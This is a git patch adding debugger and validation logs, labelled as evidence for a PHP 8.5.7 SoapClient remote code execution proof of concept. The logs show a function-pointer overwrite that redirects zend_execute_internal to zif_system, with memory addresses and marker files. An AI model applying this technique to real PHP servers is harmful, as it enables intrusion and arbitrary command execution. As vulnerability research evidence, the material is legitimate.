From c8ea943954e40ca586c8e674a8ad577d14864b0a Mon Sep 17 00:00:00 2001
From: Church of Malware <3+ek0ms@noreply.git.churchofmalware.org>
Date: Mon, 29 Jun 2026 17:04:19 +0000
Subject: [PATCH] Upload files to "php857-streambucket-soap-rce-rpoc/evidence"

---
 .../evidence/gdb-proof.txt                    | 22 +++++++++++++++++++
 .../evidence/local-validation.txt             | 13 +++++++++++
 2 files changed, 35 insertions(+)
 create mode 100644 php857-streambucket-soap-rce-rpoc/evidence/gdb-proof.txt
 create mode 100644 php857-streambucket-soap-rce-rpoc/evidence/local-validation.txt

diff --git a/php857-streambucket-soap-rce-rpoc/evidence/gdb-proof.txt b/php857-streambucket-soap-rce-rpoc/evidence/gdb-proof.txt
new file mode 100644
index 0000000..265988b
--- /dev/null
+++ b/php857-streambucket-soap-rce-rpoc/evidence/gdb-proof.txt
@@ -0,0 +1,22 @@
+PHP 8.5.7 release build, PIE base fixed by debugger for replay.
+
+watch_zend_execute_internal value=0x555555a9f130
+#0 _zend_hash_index_add_or_update_i(flag=1, pData=0x7fffffff9e70, h=93824997781808, ht=0x7ffff4083050) at Zend/zend_hash.c:1187
+#1 zend_hash_index_update(ht=0x7ffff4083050, h=93824997781808, pData=0x7fffffff9e70) at Zend/zend_hash.c:1227
+#2 zend_symtable_update(pData=0x7fffffff9e70, key=0x7ffff40a8300, ht=0x7ffff4083050) at Zend/zend_hash.h:492
+#3 make_http_soap_request(...) at ext/soap/php_http.c:1066
+#4 zim_SoapClient___doRequest(...) at ext/soap/soap.c:2824
+#5 zend_call_function(...) at Zend/zend_execute_API.c:1023
+
+overwrite_returned
+
+hit_zif_system execute_data=0x7ffff40159d0 return_value=0x7fffffffa8c0
+#0 zif_system(execute_data=0x7ffff40159d0, return_value=0x7fffffffa8c0) at ext/standard/exec.c:250
+#1 ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER() at Zend/zend_vm_execute.h:2029
+#2 execute_ex(ex=0x7ffff40159d0) at Zend/zend_vm_execute.h:116501
+#3 zend_execute(op_array=0x7ffff40a8000, return_value=0x0) at Zend/zend_vm_execute.h:121944
+#4 zend_execute_script(...) at Zend/zend.c:1978
+#5 php_execute_script_ex(...) at main/main.c:2641
+
+marker_path=/tmp/php857_rce_724.txt
+marker_content=PHP857_RCE
diff --git a/php857-streambucket-soap-rce-rpoc/evidence/local-validation.txt b/php857-streambucket-soap-rce-rpoc/evidence/local-validation.txt
new file mode 100644
index 0000000..9edbb41
--- /dev/null
+++ b/php857-streambucket-soap-rce-rpoc/evidence/local-validation.txt
@@ -0,0 +1,13 @@
+php_base=0x000056063aa00000
+zend_execute_internal=0x000056063c6e3030
+zif_system=0x000056063b09f130
+numeric_cookie_name=94584760299824
+fake_arData=0x000056063c6e3020
+hash_slot=0x000056063c65f4e0 hash_index=0xfffdf130 hash_mask=0xc4f40000
+marker_path=/tmp/php857_rce_689.txt
+victim_bucket_ptr=0x00007fc17ba72d20
+fake_marker=RH5f1b8eca000015 index=15 offset=148232
+fake_hash_address=0x00007fc17ba97018
+overwrite_returned
+marker_check=present
+marker_content=PHP857_RCE